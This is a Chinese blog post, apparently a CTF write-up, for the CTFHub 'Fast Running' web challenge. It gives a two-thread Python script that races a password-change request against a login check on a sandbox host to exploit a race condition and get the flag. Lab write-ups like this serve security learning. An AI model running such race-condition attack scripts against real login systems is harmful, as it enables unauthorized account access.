CTFHub_2017-赛客夏令营-Web-Fast Running(条件竞争、多线程)

 
更多

进入场景,显示如下

本题考察条件竞争,需要你改完密码后登录要比系统自动更改密码快

python脚本如下,需要同时开2个线程

# __author__ = Serena
import threading
import requests

def change_passwd():
    while True:
        ur11 = 'http://challenge-c167c601e92f8c09.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456'
        resp1 = requests.get(ur11)

def login_check():
    while True:
        url2 = 'http://challenge-c167c601e92f8c09.sandbox.ctfhub.com:10800/login_check.php?passwd=123456'
        resp2 = requests.get(url2)
        print(resp2.text)

if __name__ == '__main__':
    t1 = threading.Thread(target=change_passwd)
    t2 = threading.Thread(target=login_check)
    t1.start()
    t2.start()

成功拿到flag

打赏

本文固定链接: https://www.cxy163.net/archives/4752 | 绝缘体

该日志由 绝缘体.. 于 2022年02月24日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: CTFHub_2017-赛客夏令营-Web-Fast Running(条件竞争、多线程) | 绝缘体
关键字: , , , ,

CTFHub_2017-赛客夏令营-Web-Fast Running(条件竞争、多线程):等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter